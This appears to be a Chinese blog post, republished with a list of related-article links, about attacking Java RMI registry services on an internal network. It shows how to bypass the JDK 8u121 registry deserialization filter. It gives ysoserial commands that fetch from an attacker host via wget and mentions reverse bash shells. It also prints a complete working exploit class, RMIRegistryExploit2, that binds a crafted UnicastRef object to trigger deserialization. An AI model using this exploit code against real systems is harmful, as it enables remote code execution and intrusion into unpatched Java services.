一次攻擊內網rmi服務的深思

AskHarries發表於2019-03-04

說明

在日常掃描內網伺服器的時候發現有幾臺主機開放了rmi服務，根據以往經驗rmi服務存在反序列化漏洞，本以為可以直接拿ysoserial一把梭直接幹。

java -cp ysoserial.exploit.RMIRegistryExploit 10.9.15.193 9999 CommonsCollections2 “wget http://xxxxx:3344”

以往都成功過，但是這次居然爆出了filter status: REJECTED

出現這種情況的原因是[java 8 update 121]之後 RMIRegistryImpl.registryFilter() 的限制http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/5534221c23fc/src/share/classes/sun/rmi/registry/RegistryImpl.java#l388

可以看到在idk8 update 121之後在registryFilter函式中限制了型別。

本地寫個rmi註冊服務模擬下:

public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
    //System.setProperty("sun.rmi.registry.registryFilter", "java.util.HashMap;");
    //System.setProperty("sun.rmi.registry.registryFilter", "java.util.HashMap;sun.reflect.annotation.**;");
    //System.setProperty("sun.rmi.registry.registryFilter", "java.**;sun.reflect.annotation.**;com.sun.**");
    //System.setProperty("sun.rmi.registry.registryFilter", "org.apache.commons.collections4.comparators.TransformingComparator");
    HelloService helloService = new HelloServiceImpl();
    LocateRegistry.createRegistry(12306);
    Naming.bind("rmi://localhost:12306/helloService", helloService);
    System.out.println("ServerMain provide RPC service now");

}複製程式碼

啟動之後用java -cp ysoserial.exploit.RMIRegistryExploit 127.0.0.1 12306 CommonsCollections2 “wget http://xxxxx:3344”去攻擊發現服務端爆出

ServerMain provide RPC service now
九月 20, 2018 12:31:57 下午 java.io.ObjectInputStream filterCheck
資訊: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 8, depth: 2, bytes: 298, ex: n/a複製程式碼

這裡很明顯為什麼是AnnotationInvocationHandler這個了類被攔截了，因為在CommonsCollections2中其實是利用了動態代理加強之後，如果不瞭解這步更多詳情可以移步 java反序列化漏洞-玄鐵重劍之CommonsCollection(上)

根據限制所以我把目光放在Number(不考慮)，Remote，Proxy，UnicastRef，RMIClientSocketFactory，RMIServerSocketFactory，ActivationID，UID(基本不考慮)這幾個類中。

其中UnicastRef引起了我的注意，如果稍微有點印象的就可以知道UnicastRef本身Amf3反序列化的時候使用過。

那麼轉換攻擊思路就來了:

除錯之路

說是這麼說，但是自己在除錯和嘗試的過程中踩了很多坑，還好沒放棄。參考RMIRegistryExploit我們重點就是要構造好Remote物件，首先先構造好UnicastRef。直接採用【技術分享】Java AMF3 反序列化漏洞分析的類似寫法

public static UnicastRef generateUnicastRef(String host, int port) {
    java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
    sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
    sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
    return new sun.rmi.server.UnicastRef(liveRef);
}複製程式碼

然後稍做在RMIRegistryExploit的基礎上稍微做一點改動，直接把

Object payload = payloadObj.getObject(command);//CommonsCollections2 
String name = "pwned" + System.nanoTime();
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);複製程式碼

改成

Object payload = generateUnicastRef("127.0.0.1", "3348");
String name = "pwned" + System.nanoTime();
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);複製程式碼

答案是伺服器依舊爆ObjectInputFilter REJECTED，這個很正常，因為經過Gadgets.createMemoitizedProxy的處理邏輯本身就是AnnotationInvocationHandler這個用來動態代理，在本地伺服器除錯的時候加上

System.setProperty(“sun.rmi.registry.registryFilter”, “java. ;sun.reflect.annotation. ;com.sun.**”);發現是可以執行命令的，說明我們的思路是對的，UnicastRef直接也可以反序列化的，那麼接下來就是要想辦法怎麼去繞過ObjectInputFilter REJECTED這個限制了，本身UnicastRef是在registryFilter的範圍之內的，但是在registry.bind(name, remote)的時候需要傳入一個Remote物件。思路很清晰就是我們如果把UnicastRef封裝成Remote型別,比如:

1.動態反射

2.找一個同時繼承實現兩者的類或者實現Remote，並將UnicastRef型別作為其一個欄位

自定義一個反射

public static class PocHandler implements InvocationHandler, Serializable {
    private RemoteRef ref;

    protected PocHandler(RemoteRef newref) {
        ref = newref;
    }


    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        return method.invoke(this.ref, args);
    }
}複製程式碼

UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<?>[]{Remote.class}, new PocHandler(unicastRef));
 registry.bind("2333", remote);複製程式碼

開心，耐著性子接著去找第二種情況，這裡真的找了好久好久，剛開始看到UnicastRemoteObject(Remote)，本來想通過設定ref欄位去設定UnicastRef,但是一直爆沒有該欄位，父類的父類的父類(太爺爺類)RemoteObject中有ref欄位。但是被申明為transient(不會被序列化，即使被反序列化之後還會為null)。

只能看原始碼了，找了很久(真的很久)找到了一個RemoteObjectInvocationHandler，本身是InvocationHandler還不會有異常。

UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<?>[]{Activator.class}, new PocHandler(unicastRef));
 registry.bind("23333", remote);複製程式碼

還有一個RMIConnectionImpl_Stub類，情況2

UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
RMIConnectionImpl_Stub remote = new RMIConnectionImpl_Stub(unicastRef);
registry.bind(name, remote);複製程式碼

都可以還不報異常，開心。

bingo

本地除錯好自己去開始可以去執行命令了，比如反彈bash,借用下 http://jackson.thuraisamy.me/runtime-exec-payloads.html 需要轉成base64之後執行。最後貼下程式碼吧：

package ysoserial.exploit;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import sun.rmi.server.UnicastRef;
import sun.rmi.server.UnicastServerRef;
import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
import ysoserial.secmgr.ExecCheckingSecurityManager;
import sun.rmi.registry.RegistryImpl;

import javax.management.remote.rmi.RMIConnectionImpl_Stub;
import javax.net.ssl.*;
import java.io.IOException;
import java.io.ObjectInput;
import java.io.ObjectOutput;
import java.io.Serializable;
import java.lang.reflect.*;
import java.net.Socket;
import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.activation.Activator;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.*;
import java.security.cert.X509Certificate;
import java.util.concurrent.Callable;

/**
 * 使用UnicastRef注入，繞過ObjectInputFilter checkInput對幾個基礎型別的檢測
 * sun.rmi.registry.
 */
public class RMIRegistryExploit2 {
    private static class TrustAllSSL extends X509ExtendedTrustManager {
        private static final X509Certificate[] ANY_CA = {};

        public X509Certificate[] getAcceptedIssuers() {
            return ANY_CA;
        }

        public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }

        public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }

        public void checkServerTrusted(final X509Certificate[] c, final String t, final SSLEngine e) { /* Do nothing/accept all */ }

        public void checkServerTrusted(final X509Certificate[] c, final String t, final Socket e) { /* Do nothing/accept all */ }

        public void checkClientTrusted(final X509Certificate[] c, final String t, final SSLEngine e) { /* Do nothing/accept all */ }

        public void checkClientTrusted(final X509Certificate[] c, final String t, final Socket e) { /* Do nothing/accept all */ }
    }

    private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
        public Socket createSocket(String host, int port) throws IOException {
            try {
                SSLContext ctx = SSLContext.getInstance("TLS");
                ctx.init(null, new TrustManager[]{new TrustAllSSL()}, null);
                SSLSocketFactory factory = ctx.getSocketFactory();
                return factory.createSocket(host, port);
            } catch (Exception e) {
                throw new IOException(e);
            }
        }
    }

    public static void main(final String[] args) throws Exception {
        System.out.println("用法如下 RMIRegistryHost  RMIRegistryPort JRMPListenerHost JRMPListenerPort");
        final String rmiRegistryHost = args[0];
        final int rmiRegistryPort = Integer.parseInt(args[1]);
        final String jrmpListenerHost = args[2];
        final int jrmpListenerPort = Integer.parseInt(args[3]);
        Registry registry = LocateRegistry.getRegistry(rmiRegistryHost, rmiRegistryPort);

        // test RMI registry connection and upgrade to SSL connection on fail
        try {
            registry.list();
        } catch (ConnectIOException ex) {
            registry = LocateRegistry.getRegistry(rmiRegistryHost, rmiRegistryPort, new RMISSLClientSocketFactory());
        }

        // ensure payload doesn`t detonate during construction or deserialization
        exploit(registry, jrmpListenerHost, jrmpListenerPort);
    }

    public static void exploit(final Registry registry,
                               final Class<? extends ObjectPayload> payloadClass,
                               final String command) throws Exception {
        new ExecCheckingSecurityManager().callWrapped(new Callable<Void>() {
            public Void call() throws Exception {
                ObjectPayload payloadObj = payloadClass.newInstance();
                Object payload = payloadObj.getObject(command);
                String name = "pwned" + System.nanoTime();
                Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
                try {
                    registry.bind(name, remote);
                } catch (Throwable e) {
                    e.printStackTrace();
                }
                Utils.releasePayload(payloadObj, payload);
                return null;
            }
        });
    }

    public static void exploit(final Registry registry, final String jrmpListenerHost, final int jrmpListenerPort) throws Exception {

        UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
        /*
        poc 1*/
        RMIConnectionImpl_Stub remote = new RMIConnectionImpl_Stub(unicastRef);
        /*
        poc2
        Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<?>[]{Activator.class}, new PocHandler(unicastRef));
         */
        /*
        poc3
        Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<?>[] { Activator.class }, new RemoteObjectInvocationHandler(unicastRef));
         */
        /*
        poc4 失敗，無效
        UnicastRemoteObject remote = Reflections.createWithoutConstructor(java.rmi.server.UnicastRemoteObject.class);
        Reflections.setFieldValue(unicastRemoteObject, "ref", unicastRef);
        */
        String name = "pwned" + System.nanoTime();
        try {
            registry.bind(name, remote);
        } catch (Throwable e) {
            e.printStackTrace();
        }
    }

    /***
     * 生成一個UnicastRef物件
     * @param host
     * @param port
     * @return
     */
    public static UnicastRef generateUnicastRef(String host, int port) {
        java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
        sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
        sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
        return new sun.rmi.server.UnicastRef(liveRef);
    }

    public static class PocHandler implements InvocationHandler, Serializable {
        private RemoteRef ref;

        protected PocHandler(RemoteRef newref) {
            ref = newref;
        }


        @Override
        public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
            return method.invoke(this.ref, args);
        }
    }

}

複製程式碼

最後才發現在ysoserial.payloads.JRMPClient其實也有，原來早就有，害我除錯這麼久。

不過找到了RemoteObjectInvocationHandler和RMIConnectionImpl_Stub著兩個，除錯跟蹤了那麼久，好歹有些安慰。看先知才知道RemoteObjectInvocationHandler和RMIConnectionImpl_Stub已經被拿來利用了，感覺訊息有些封閉。 https://xz.aliyun.com/t/2479 幾個類的關係，除錯的時候記錄的，名字都差不多，怕看暈了 UnicastRemoteObject->RemoteServer->RemoteObject->Remote UnicastServerRef2->UnicastServerRef->UnicastRef->RemoteRef->Externalizable

參考

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/5534221c23fc/src/share/classes/sun/rmi/registry/RegistryImpl.java#l388

https://stackoverflow.com/questions/41821240/rmi-registry-filter-rejects-rmi-configuration-class-in-java-8-update-121

https://www.anquanke.com/post/id/85846

https://github.com/frohoff/ysoserial

https://xz.aliyun.com/t/2479

常見網路攻擊的方法與服務
2020-10-07
分散式拒絕服務攻擊 DDoS攻擊
2017-10-21
分散式
中小網站如何對付拒絕服務攻擊
2016-08-19
網站
應用服務攻擊工具clusterd
2017-09-04
XSLT 服務端注入攻擊
2017-12-05
服務端
探祕PHP拒絕服務攻擊
2014-12-29
PHP
分散式拒絕服務攻擊(DDoS)原理
2016-07-29
分散式
DHCP拒絕服務攻擊工具DHCPig
2017-08-09
DNS服務遭攻擊歐美大半個網際網路淪陷了
2016-10-27
DNS
記一次網站被攻擊 WebShell 分析
2019-08-30
網站Webshell
記一次網站被攻擊經歷
2021-07-29
網站
服務端模板注入攻擊 (SSTI) 之淺析
2020-08-19
服務端
針對雲服務的勒索軟體攻擊的未來
2021-04-29
攻擊銀行內網，只要三步
2018-12-11
內網
區域網內實現ARP攻擊
2016-01-27
英國國家醫療服務體系陷入中斷！因服務提供商遭受網路攻擊
2022-08-09
記一次被黑客攻擊
2021-09-05
黑客
一次烏龍的SSH攻擊處理
2018-03-26
內網威脅感知與攻擊溯源系統
2018-10-18
內網
網路攻擊
2019-02-23
英國最大郵政品牌暫停國際郵寄服務，疑似遭受網路攻擊
2023-01-12
滲透測試服務之瀏覽器攻擊分析
2021-02-10
瀏覽器
滲透測試服務之伺服器攻擊手段
2021-01-05
伺服器
分散式拒絕服務攻擊(DDoS)原理及防範
2013-08-29
分散式
攻擊面管理預防網路攻擊原理？
2022-02-22
區域網內無線DDoS攻擊策略及概述
2016-08-18
【網路安全分享】APT攻擊常用的4種攻擊手段！
2022-07-12
APT
什麼是網路攻擊?常見的網路攻擊手段有哪些?
2023-11-07
FBI取締DDoS服務網站之後此類攻擊規模降低85%
2019-03-21
網站
Shutterfly遭Conti勒索軟體攻擊，部分服務中斷
2021-12-28
NBA通訊服務遭駭客攻擊，球迷個人資訊失竊
2023-03-20
網路攻擊手段
2013-08-26
ntp服務在區域網內的搭建
2012-09-28
美國網路癱瘓系或是因境內攻擊所致
2017-08-02
基於Kali的一次DDos攻擊實踐
2022-02-24
洞見RSA 2021 | 抗拒絕服務(DDoS)如何“彈性”應對網路攻擊
2021-05-22
黑山遭受前所未有的大規模網路攻擊，部分服務暫時關閉
2022-08-29
網路攻擊中主動攻擊和被動攻擊有什麼區別？
2022-03-16

一次攻擊內網rmi服務的深思

說明

除錯之路

bingo

參考

相關文章